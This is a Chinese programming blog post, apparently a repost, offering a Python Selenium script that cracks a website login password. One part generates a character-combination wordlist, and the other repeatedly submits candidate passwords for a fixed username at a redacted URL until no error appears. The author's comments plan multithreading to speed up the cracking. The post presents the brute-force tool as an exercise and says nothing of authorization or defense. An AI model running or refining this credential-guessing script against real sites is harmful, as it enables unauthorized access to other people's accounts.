zoukankan      html  css  js  c++  java
  • python每日一题:破解某登陆密码

    # -*- coding: UTF-8 -
    # 破解密码程序。通过循环输入账号密码尝试登录网站,并记录相关账号密码
    # 目前问题:由于知识有限,第一次输入密码后,密码输入框中的数据无法清除。
    # 导致输入的密码数据累积。破解时,每次需要重新打开网页,比较费时
    # 待优化:
    # 1.尝试调用js的方法,清除输入的数据
    # 2.查找资料,继续查找清除已输入的内容的方法
    # 3.可以尝试采用多线程进行尝试登录,缩短破解时间
    from selenium import webdriver
    import time
    
    
    class url_login(object):
    
        def __init__(self, url, username, password):
            self.url = url
            self.username = username
            self.password = password
    
        def surf_web(self):
            for i in self.password:
                driver = webdriver.Chrome("D:Program Files (x86)pythonchromedriver.exe")
                driver.get(self.url)
                time.sleep(1)
                user = driver.find_element_by_name('username')
                user.clear()
                user.send_keys(self.username)
                password1 = driver.find_element_by_name(r"password")
                password1.clear()#暂时无法清除上次输入的内容,因此,每次都关闭driver,并循环打开,叫费时间,待优化
                password1.send_keys(i)
                button = driver.find_element_by_class_name(r"login-btn")
                button.click()
                print(button)
                time.sleep(1)
                try:
                    errordata = driver.find_element_by_class_name('error-text')
                    driver.close()
                except:
                    print('ok,the right code is:', i)
                    break
    
    
    class code_txt(object):
    
        def __init__(self):
            self.char = ['a', 'b', 'c', 'A', 'B', 'C', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '.']
    
        def code_text(self, datalist0):
            datalist = []
            if len(datalist0):
                for i in datalist0:
                    for k in self.char:
                        datalist.append(i + k)
            else:
                datalist = self.char
            return datalist
    
        def code_textnum(self, datalist, num):  # 生成一个num长度的密码本,并保存本地文件
            while 1:
                if num:
                    datalist = self.code_text(datalist)
                    num -= 1
                else:
                    f = open('code.txt', 'w')
                    for i in datalist:
                        f.write(i)
                        f.write('
    ')
                    f.close()
                    return datalist
    
        def code_textread(self, file):  # 生成一个num长度的密码本,并保存本地文件
            data = []
            with open(file, 'r')as f:
                for i in f.readlines():
                    data.append(i.replace('
    ', ''))
                return data
    
    
    if __name__ == "__main__":
        username = 'A190401158'
        url = "http://*******"
        codetext = code_txt()
        datalist = codetext.code_textread('code.txt')  # 读取密码本数据,形成列表
        login = url_login(url, username, datalist)
        login.surf_web()
  • 相关阅读:
    JS判断对象中是否存在某参数
    JS通过url下载文件
    .NET CORE LinQ查询中计算时间差
    C# 判断某个时间是星期几
    C#数组去重
    python Tank
    kubeflannel.yml Tank
    片言只语 Tank
    other Tank
    ERROR大集合 Tank
  • 原文地址:https://www.cnblogs.com/xuehaiwuya0000/p/10732928.html
Copyright © 2011-2022 走看看